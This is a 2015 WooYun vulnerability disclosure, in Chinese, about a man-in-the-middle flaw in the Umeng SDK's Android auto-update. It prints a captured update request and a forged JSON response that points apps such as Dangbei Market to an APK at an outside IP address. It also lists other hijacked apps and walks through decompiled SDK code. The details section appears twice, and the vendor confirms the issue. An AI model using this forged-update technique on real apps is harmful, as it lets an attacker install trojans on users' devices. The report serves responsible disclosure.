当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149563

漏洞标题:友盟SDK通用app升级过程存在缺陷可被中间人攻击利用植入木马

相关厂商:友盟

漏洞作者: 路人甲

提交时间:2015-10-26 23:15

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-26: 细节已通知厂商并且等待厂商处理中
2015-10-29: 厂商已经确认,细节仅向厂商公开
2015-11-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-23: 细节向核心白帽子及相关领域专家公开
2016-01-02: 细节向普通白帽子公开
2016-01-12: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

友盟SDK中自动更新(Android)版本,返回数据可以被中间人劫持,校验过程不严格,伪造升级包让app自动下载,进而植入木马。
根据测试,有的app使用友盟host进行更新,有的app使用自己的host进行更新,但是绝大部分app使用友盟sdk的app升级时,服务器返回数据为明文,且包含更新app包的url地址,可以直接劫持进行修改。
而根据友盟官网,友盟服务超过64万款APP。

详细说明:

友盟SDK中自动更新(Android)版本,返回数据可以被中间人劫持,校验过程不严格,伪造升级包让app自动下载,进而植入木马。
根据测试,有的app使用友盟host进行更新,有的app使用自己的host进行更新,但是绝大部分app使用友盟sdk的app升级时,服务器返回数据为明文,且包含更新app包的url地址,可以直接劫持进行修改。
而根据友盟官网,友盟服务超过64万款APP。
随手对友盟官网的app进行测试

友盟官网1.jpg


1 当贝市场
升级更新发包

POST http://au.umeng.com/api/check_app_update HTTP/1.1
Content-Length: 397
Content-Type: application/x-www-form-urlencoded
Host: au.umeng.com
Connection: Keep-Alive
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900F Build/KOT49H)
content=%7B%22delta%22%3Afalse%2C%22package%22%3A%22com.dangbeimarket%22%2C%22appkey%22%3A%225352057e56240b09fe0654a4%22%2C%22sdk_version%22%3A%222.4.2.20140520%22%2C%22type%22%3A%22update%22%2C%22channel%22%3A%22znds%22%2C%22old_md5%22%3A%2298e76eaef8f1921ae77f29fbe42637f8%22%2C%22proto_ver%22%3A%221.4%22%2C%22idmd5%22%3A%224995cdc2664d3c8b4f981ba2934bed94%22%2C%22version_code%22%3A%2274%22%7D


拦截后,修改其中url地址,返回数据包

HTTP/1.1 200 OK
Server: Tengine
Date: Wed, 21 Oct 2015 08:56:42 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 669
Connection: close
{"update":"Yes","version":"3.1.0","path":"http://121.15.129.246/app/xrt-v1.0.apk","origin":"","update_log":"1. sdk 升级测试\r\n2. 点击我吧~~,有惊喜哦\r\n3. 求rank,求点击\r\n4. duang。。。。。。\r\n","proto_ver":"1.4","delta":false,"new_md5":"840f65125e7a995f27871fa5ccdb449b","size":"2504007","patch_md5":"","target_size":"2504007","display_ads":false}


效果如下

当贝-url-友盟12.jpg


2 穷游
使用fiddler拦截,修改返回url

穷游-友盟11.jpg


效果图

穷游-友盟12.png


3 豆瓣
使用fiddler拦截,修改返回url

豆瓣升级-友盟11.jpg


效果图

豆瓣升级-友盟12.png


4 中华万年历
使用fiddler拦截,修改返回url

中华万年历11.jpg


效果图

中华万年历12.png


不管app是使用友盟的host,还是自己的host,都可以对其进行url拦截,修改。

漏洞证明:

友盟SDK中自动更新(Android)版本,返回数据可以被中间人劫持,校验过程不严格,伪造升级包让app自动下载,进而植入木马。
根据测试,有的app使用友盟host进行更新,有的app使用自己的host进行更新,但是绝大部分app使用友盟sdk的app升级时,服务器返回数据为明文,且包含更新app包的url地址,可以直接劫持进行修改。
而根据友盟官网,友盟服务超过64万款APP。
随手对友盟官网的app进行测试

友盟官网1.jpg


1 当贝市场
升级更新发包

POST http://au.umeng.com/api/check_app_update HTTP/1.1
Content-Length: 397
Content-Type: application/x-www-form-urlencoded
Host: au.umeng.com
Connection: Keep-Alive
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900F Build/KOT49H)
content=%7B%22delta%22%3Afalse%2C%22package%22%3A%22com.dangbeimarket%22%2C%22appkey%22%3A%225352057e56240b09fe0654a4%22%2C%22sdk_version%22%3A%222.4.2.20140520%22%2C%22type%22%3A%22update%22%2C%22channel%22%3A%22znds%22%2C%22old_md5%22%3A%2298e76eaef8f1921ae77f29fbe42637f8%22%2C%22proto_ver%22%3A%221.4%22%2C%22idmd5%22%3A%224995cdc2664d3c8b4f981ba2934bed94%22%2C%22version_code%22%3A%2274%22%7D


拦截后,修改其中url地址,返回数据包

HTTP/1.1 200 OK
Server: Tengine
Date: Wed, 21 Oct 2015 08:56:42 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 669
Connection: close
{"update":"Yes","version":"3.1.0","path":"http://121.15.129.246/app/xrt-v1.0.apk","origin":"","update_log":"1. sdk 升级测试\r\n2. 点击我吧~~,有惊喜哦\r\n3. 求rank,求点击\r\n4. duang。。。。。。\r\n","proto_ver":"1.4","delta":false,"new_md5":"840f65125e7a995f27871fa5ccdb449b","size":"2504007","patch_md5":"","target_size":"2504007","display_ads":false}


效果如下

当贝-url-友盟12.jpg


2 穷游
使用fiddler拦截,修改返回url

穷游-友盟11.jpg


效果图

穷游-友盟12.png


3 豆瓣
使用fiddler拦截,修改返回url

豆瓣升级-友盟11.jpg


效果图

豆瓣升级-友盟12.png


4 中华万年历
使用fiddler拦截,修改返回url

中华万年历11.jpg


效果图

中华万年历12.png


不管app是使用友盟的host,还是自己的host,都可以对其进行url拦截,修改。
反汇编友盟sdk代码
可以看到更新流程如下,只关心服务器返回json到下载url的实现,水平有限可能过程有遗漏。首先
(1)在package com.umeng.update.UpdateDialogActivity中,点击确定后使用UpdateResponse类保存服务器的json信息
UpdateResponse b;
this.b = ((UpdateResponse)getIntent().getExtras().getSerializable("response"));
(2)在package com.umeng.update. UpdateResponse中
在构造函数中,调用a(paramJSONObject);进行对象初始化
public UpdateResponse(JSONObject paramJSONObject)
{
super(paramJSONObject);
a(paramJSONObject);
}
(3)在a中,只判断服务器返回的json中的update是否为Yes,如果是保存,path(对应json中的url), new_md5(对应json中的md5值),target_size,version等参数
private void a(JSONObject paramJSONObject)
{
try
{
this.hasUpdate = "Yes".equalsIgnoreCase(paramJSONObject.optString("update"));
if (this.hasUpdate)
{
this.updateLog = paramJSONObject.getString("update_log");
this.version = paramJSONObject.getString("version");
this.path = paramJSONObject.getString("path");
this.target_size = paramJSONObject.optString("target_size");
this.new_md5 = paramJSONObject.optString("new_md5");
this.delta = paramJSONObject.optBoolean("delta");
if (this.delta)
{
this.patch_md5 = paramJSONObject.optString("patch_md5");
this.size = paramJSONObject.optString("size");
this.origin = paramJSONObject.optString("origin");
}
}
return;
}
catch (Exception paramJSONObject)
{
paramJSONObject.printStackTrace();
}
}
(4)然后到com.umeng.update. UmengUpdateAgent中a函数调用startDownload进行下载并调用startInstall进行安装。
private static void a(Context paramContext, UpdateResponse paramUpdateResponse, File paramFile)
{
if (paramFile == null)
{
startDownload(paramContext, paramUpdateResponse);
return;
}
startInstall(paramContext, paramFile);
}
startDownload函数如下
public static void startDownload(Context paramContext, UpdateResponse paramUpdateResponse)
{
if ((paramUpdateResponse.delta) && (UpdateConfig.isDeltaUpdate()))
{
e.a(paramContext, paramUpdateResponse.origin, paramUpdateResponse.new_md5, paramUpdateResponse.path, paramUpdateResponse.patch_md5, c);
e.b();
return;
}
e.a(paramContext, paramUpdateResponse.path, paramUpdateResponse.new_md5, null, null, c);
e.c();
}
(5)水平有限没能继续跟入函数,但是从传递的参数,可以看到友盟sdk对服务器返回json数据并没有进行校验,对url也没有黑白名单机制,最有可能进行的就是返回的md5和apk进行校验,很容易对其进行中间人劫持攻击。

修复方案:

加个密吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-29 16:45

厂商回复:

您好,漏洞已确认,正在修复中。感谢您对阿里巴巴安全的支持和关注!

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-29 23:29 | zhxs ( 实习白帽子 | Rank:65 漏洞数:25 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    您好,漏洞已确认,正在修复中。感谢您对阿里巴巴安全的支持和关注!